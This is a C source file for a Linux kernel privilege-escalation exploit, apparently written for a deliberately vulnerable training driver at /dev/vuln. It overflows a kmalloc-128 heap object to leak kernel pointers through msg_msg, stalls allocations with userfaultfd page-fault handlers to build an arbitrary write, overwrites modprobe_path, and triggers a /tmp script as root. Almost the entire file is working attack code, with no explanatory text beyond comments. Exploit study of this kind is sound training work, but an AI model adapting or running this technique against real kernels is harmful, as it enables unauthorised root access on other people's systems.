#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <sys/syscall.h>

#define PAGE_SIZE 4096
#define SLAB_NAME "kmalloc-128"
#define MSG_COPY 040000
#define LAST_5(x) (x & 0xfffff)

int fd = -1;
int ufd_qid;
int qid[4];
unsigned long offset = 0;
unsigned long next = 0;
void* page_1;
void* page_2;
pthread_t thread1, thread2;
pthread_t pfthread1, pfthread2;
int release_pfh_1 = 0;
unsigned long modprobe_path = 0;
char* script_path = "/tmp/x\x00"; 
unsigned long queue;

void open_dev(){
	fd = open("/dev/vuln", O_RDWR);
	if(fd < 0){
		puts("[!] Error opening device");
		exit(-1);
	}
	puts("[*] Opened device");
}

void dev_write(char* buf, size_t n){
	if(write(fd, buf, n)<0) {
		puts("[!] Error writing to device");
		//exit(-1);
	} else {
		puts("[*] Wrote to device");
	}
}

char* dev_read(char* buf) {
	char* output = (char*)read(fd, buf, sizeof(buf));
	if (output <= 0){
		puts("[!] Error reading from device");
		exit(-1);
	}
	puts("[*] Read from device");
	return output;
}

#define HEADER_SZ 48
#define MSIZE 128-HEADER_SZ

struct {
	long mtype;
	char mtext[MSIZE];
} msg;

int make_q(int type) {
	msg.mtype = type;
	int id = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
	if(id == -1) {
		perror("msgget");
		return -1;
	}
	return id;
}

void send_msg(int qid, int size, int c) {
	size_t msize = size - HEADER_SZ;
	struct {
		long mtype;
		char mtext[msize];
		} msg;
	msg.mtype = 1;
	memset(msg.mtext, c, msize);
	msg.mtext[msize-1] = 0;
	if(msgsnd(qid, &msg, msize, 0) == -1) {
		perror("msgsnd");
		exit(1);
	}
}

void hex_dump(char *buff, unsigned long size) {
	int i,j;
	for (i = 0; i < size/8; i++) {
		if(i % 2 == 0) {
			if (i != 0)
				printf("  \n");
		printf("  %04x  ", i*8);
		}
		unsigned long ptr = ((unsigned long *)(buff))[i];
		printf("0x%016lx", ptr);
		printf("    ");
	}
	printf("\n");
}

void check_slab(char *slab_name, int *active, int *total) {
	FILE *fp;
	char buff[1024], name[64];
	int active_num, total_num;
	fp = fopen("/proc/slabinfo", "r");
	if (!fp) {
		perror("fopen");
		return;
	}
	while (fgets(buff, 1024, fp) != NULL) {
		sscanf(buff, "%s %u %u", name, &active_num, &total_num);
		if (!strcmp(slab_name, name)) {
			*active = active_num;
			*total = total_num;
			return;
		}
	}
}

void print_slab_info() {
	int total_num, active_num;
	check_slab(SLAB_NAME, &active_num, &total_num);
	printf("[+] Checking slab total: %d active: %d free: %d\n",
		total_num, active_num, total_num-active_num);
}

int isKernel(unsigned long a){
	return (a > 0xffffffff00000000);
}

unsigned long evil[50];

void leak() {
	// create buffer to overflow with:
	size_t evilsz = 160;
	memset(evil, 0, evilsz);
	for(size_t i=0; i<12; i++){
		evil[i] = 0xa;  // make driver stop parsing params
	}	
	evil[16] = (unsigned long)0x4141414141414141;
	evil[17] = (unsigned long)0x4242424242424242; // struct list_head m_list;
	evil[18] = (unsigned long)0x000; // long m_type;
	int leak_sz = 0x200;
	evil[19] = leak_sz; // size_t m_ts;
	qid[0] = make_q(1);
	qid[1] = make_q(1);
	qid[2] = make_q(1);
	send_msg(qid[0], 128, 0x40);
	send_msg(qid[1], 128, 0x41);
	send_msg(qid[2], 128, 0x42);
	send_msg(qid[2], 8184, 0x43);
	socket(22, AF_INET, 0);
	/*
	 * 0 : will be replaced with victim
	 * 1 : overflowed
	 * 2 list head next ---> (B) k4096 header msg_next --> k4096 data
	 * 3 socket -> modprobe leak
	 **/
	char buff[80];
	// free and replace message with victim buffer to overflow
	msgrcv(qid[0], buff, 80, 1, MSG_NOERROR | IPC_NOWAIT);
	dev_write((char*)evil, evilsz);
	puts("[*] Wrote into freed buffer");
	char* leaked = (char*)calloc(leak_sz, 1);
	int res = msgrcv(qid[1], leaked, leak_sz, 0, MSG_COPY | IPC_NOWAIT);
	if(res>80) {
		hex_dump(leaked, leak_sz);
		unsigned long leaked_addr[leak_sz/sizeof(unsigned long)];
		memcpy(leaked_addr, leaked, leak_sz);
		printf("[*] Leaked 0x%x bytes\n", res);
		next = leaked_addr[11];
		printf("[*] Next pointer is 0x%lx\n", next);
		queue = leaked_addr[12];
		for(size_t i=0; i < leak_sz/sizeof(unsigned long); i++) {
			if(isKernel(leaked_addr[i]) && LAST_5(leaked_addr[i]) == 0x48700) {
				printf("[*] Modprobe_path: 0x%lx\n", leaked_addr[i]);
				modprobe_path = leaked_addr[i];
				offset = (unsigned long)(leaked_addr - 0xffffffff82648700);
				break;
			}
		}
	} else {
		puts("[!] Error overwriting m_ts ");
	}
}

int userfaultfd(int flags) {
	    return syscall(SYS_userfaultfd, flags);
}

int initialize_ufd(void *page) {
	int fd;
	struct uffdio_register reg;
	if((fd = userfaultfd(O_NONBLOCK)) == -1) {
		puts("[!] Userfaultfd failed");
		exit(1);
	}
	if((ufd_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) {
		puts("[!] Msgget ufd failed");
		exit(1);
	}
	struct uffdio_api api = { .api = UFFD_API };
	if(ioctl(fd, UFFDIO_API, &api)) {
		puts("[!] Userfaultfd ioctl - UFFDIO_API failed");
		exit(1);
	}
	if(api.api != UFFD_API) {
		puts("[!] Unexepcted UFFD api version!");
		exit(1);
	}
	printf("[*] Start monitoring range: %p - %p\n", page + PAGE_SIZE, page + PAGE_SIZE*2);
	reg.mode = UFFDIO_REGISTER_MODE_MISSING;
	reg.range.start = (long)(page + PAGE_SIZE);
	reg.range.len = PAGE_SIZE;
	if(ioctl(fd, UFFDIO_REGISTER,  &reg)) {
		puts("[!] ioctl - UFFDIO_REGISTER failed");
		exit(1);
	}
	return fd;
}

void *page_fault_handler_1(void *_ufd) {
	struct pollfd pollfd;
	struct uffd_msg fault_msg;
	struct uffdio_copy ufd_copy;
	struct uffdio_range ufd_range;
	pid_t pid;
	int ufd = *((int *)_ufd);
	pollfd.fd = ufd;
	pollfd.events = POLLIN;
	puts("[PFH 1] Started!");
	while(poll(&pollfd, 1, -1) > 0) {
		if((pollfd.revents & POLLERR) || (pollfd.revents & POLLHUP)){	
			puts("[!] Polling failed");
			//exit(1);
		}
		//if(
		read(ufd, &fault_msg, sizeof(fault_msg));
	        /* != sizeof(fault_msg)){
			puts("[!] Read - fault_msg failed");
			exit(1);
		}*/
		char *page_fault_location = (char *)fault_msg.arg.pagefault.address;
		if(fault_msg.event != UFFD_EVENT_PAGEFAULT){
			puts("[!] Unexpected pagefault?");
			//exit(1);
		}
		if(page_fault_location == page_1 + PAGE_SIZE) {
			printf("[PFH 1] Page fault at 0x%lx\n", (unsigned long)page_fault_location);
			unsigned long buff[PAGE_SIZE/sizeof(unsigned long)];
			// write the address of modprobe_path to F's next pointer
			buff[0] = next;
			buff[1] = next;
			buff[2] = 1;
			buff[3] = 0x1000;
			buff[4] = modprobe_path;
			puts("[PFH 1] Releasing faulting thread");
			ufd_copy.dst = (unsigned long)(page_fault_location);
			ufd_copy.src = (unsigned long)(&buff);
			ufd_copy.len = PAGE_SIZE;
			ufd_copy.mode = 0;
			ufd_copy.copy = 0;
			for(;;)	{
				if(release_pfh_1){
					if(ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0){
						puts("ioctl(UFFDIO_COPY)");
						exit(1);
					}
					puts("[PFH 1] Faulting thread released");
					break;
				}
			}
		}
	}
}

void *page_fault_handler_2(void *_ufd){
	struct pollfd pollfd;
	struct uffd_msg fault_msg;
	struct uffdio_copy ufd_copy;
	struct uffdio_range ufd_range;
	pid_t pid;
	int ufd = *((int *)_ufd);
	pollfd.fd = ufd;
	pollfd.events = POLLIN;
	puts("[PFH 2] Started!");
	while(poll(&pollfd, 1, -1) > 0) {
		if((pollfd.revents & POLLERR) || (pollfd.revents & POLLHUP)) {
			puts("[!] Polling failed");
			//exit(1);
		}
		//if(
		read(ufd, &fault_msg, sizeof(fault_msg));
	        //	!= sizeof(fault_msg)) {
		/*	puts("[!] Read - fault_msg failed");
			exit(1);
		}*/
		char *page_fault_location = (char *)fault_msg.arg.pagefault.address;
		if(fault_msg.event != UFFD_EVENT_PAGEFAULT) {
			puts("[!] Unexpected pagefault?");
			//exit(1);
		}
		if(page_fault_location == page_2 + PAGE_SIZE) {
			printf("[PFH 2] Page fault at 0x%lx\n", page_fault_location);
			unsigned long buff[PAGE_SIZE/sizeof(unsigned long)];
			memset(buff, 0, PAGE_SIZE/sizeof(unsigned long));
			memcpy(buff, script_path, 6);
			memcpy(buff+8, script_path, 6);
			release_pfh_1 = 1;
			sleep(10);
			// buff is what will be written to modprobe_path
			puts("[PFH 2] Releasing faulting thread");
			ufd_copy.dst = (unsigned long)(page_fault_location);
			ufd_copy.src = (unsigned long)(&buff);
			ufd_copy.len = PAGE_SIZE;
			ufd_copy.mode = 0;
			ufd_copy.copy = 0;
			if(ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0) {
				puts("[!] ioctl(UFFDIO_COPY)");
				//exit(1);
			}
			puts("[PFH 2] Faulting thread released");
		}
	}
}

void* alloc1(void* arg) {
	printf("[Thread 1] Message buffer allocated at %p\n", page_1 + PAGE_SIZE - 0x10);
	qid[2] = make_q(1);
	memset(page_1, 0, PAGE_SIZE);
	((unsigned long *)(page_1))[0xff0 / 8] = 1;
	if(msgsnd(qid[2], page_1 + PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0)) {
		puts("[!] Error msgsnd in alloc1");
		exit(-1);
	}
	puts("[Thread 1] Message sent, *next overwritten!");
}

void* alloc2(void* arg) {
	printf("[Thread 2] Message buffer allocated at 0x%p\n", page_2+PAGE_SIZE-0x10);
	qid[3] = make_q(1);
	memset(page_2, 0, PAGE_SIZE);
	((unsigned long *)(page_1))[0xff0 / 8] = 1;
	int res = msgsnd(qid[3], page_2 + PAGE_SIZE - 0x10, 0x1028 - 0x30, 0);
       if(res < page_2 + PAGE_SIZE - 0x10){
		printf("[!] Error %d msgsnd in alloc2\n", res);
		exit(-1);
	}
}

void setup_user_pages() {
	 page_1 = (void*)mmap((void *)0xdead000, PAGE_SIZE*3, 
			 PROT_READ|PROT_WRITE, 
			 MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
	 page_2 = (void*)mmap((void *)0xcafe000, PAGE_SIZE*3, 
			     PROT_READ|PROT_WRITE, 
			     MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
	 int ufd_1 = initialize_ufd(page_1);
	 int ufd_2 = initialize_ufd(page_2);
	 pthread_create(&pfthread1, 0, page_fault_handler_1, &ufd_1);
	 pthread_create(&pfthread2, 0, page_fault_handler_2, &ufd_2);
}

void setup_overflow() {
	// we want to make next point to new segment
	evil[16] = (unsigned long)0x41;
	evil[17] = (unsigned long)0x42; // struct list_head m_list;
	evil[18] = 1;
	evil[19] = 0x50;
	evil[20] = next+0x1000; // segment
}

void arb_write() {
	setup_user_pages();
	// 3. Free B (only chunk in k4096)
	char buff[8136];
	msgrcv(qid[2], buff, 8136, 1, MSG_NOERROR | IPC_NOWAIT);
	msgrcv(qid[2], buff, 128, 1, MSG_NOERROR | IPC_NOWAIT);	
	
	// 4. Start a new thread allocate new message D(and segment) in k4096
	// hang the thread via userfault handler
	/*
	 * k128   k4096      -----> segment k4096
	 *	  D qid[2] 
	 *	  Pagefault 1
	 *
	 */
	pthread_create(&thread1, 0, alloc1, 0);
	
	// 5. Allocate new chunk E adjacent to victim to overflow
	// overwrite next to point to segment F
	/*
	 * k128
	 * victim
	 * E (overwrite next) -------------------------> segment
	 *		  (D) k4096 ----------------------^
	 */
	qid[0] = make_q(1);
	qid[1] = make_q(1);
	send_msg(qid[0], 128, 0x44);
	send_msg(qid[1], 128, 0x45);
	setup_overflow();
	// free to replace with victim	
	msgrcv(qid[0], buff, 128, 1, MSG_NOERROR | IPC_NOWAIT);
	dev_write((char*)evil, 21*sizeof(unsigned long));
	
	// 6. Freeing E now also frees segment since msg_next points to it
	/*
	 * k4096 (D) -> segment(now freed with E)
	 * */
	msgrcv(qid[1], buff, 128, 1, MSG_NOERROR | IPC_NOWAIT);
		
	// 7. Create thread2 and allocate F which will be at the address of the
	// last freed segment so that D -> F and hang the thread
	/*
	 *k4096 (D) -> F(2nd page fault) -> F's segment 
	 *
	 */
	pthread_create(&thread2, 0, alloc2, 0);
	// 8. release first thread to write the address of modprobe_path to	
	// F's msg_next pointer(this is done in page_fault_handler2)
	/*
	 * k4096 (D) -> F(2nd page fault) -> modprobe_path
	 *		prev, next
	 *		
	 *		msg_next
	 *
	 * now when 2nd page fault is released it will write to modprobe_path
	 *
	 */	
	//pthread_join(thread1, 0);
	// then resume F so it writes to that pointer
	//pthread_join(thread2, 0);
}

void make_script() {
	system("echo '#!/bin/sh\necho rooted' > /tmp/x ");
	system("chmod +x /tmp/x");
	system("echo -ne '\\xff\\xff\\xff\\xff\\xff' > /tmp/dummy");
	system("chmod +x /tmp/dummy");
	system("/tmp/dummy");
}

int main() {
	open_dev();
	// leak to get around aslr
	leak();
	// ffffffff8107e300 t call_usermodehelper_exec_work
	// ffffffff82648700 D modprobe_path
	if(offset){
		arb_write();
	}
	make_script();
}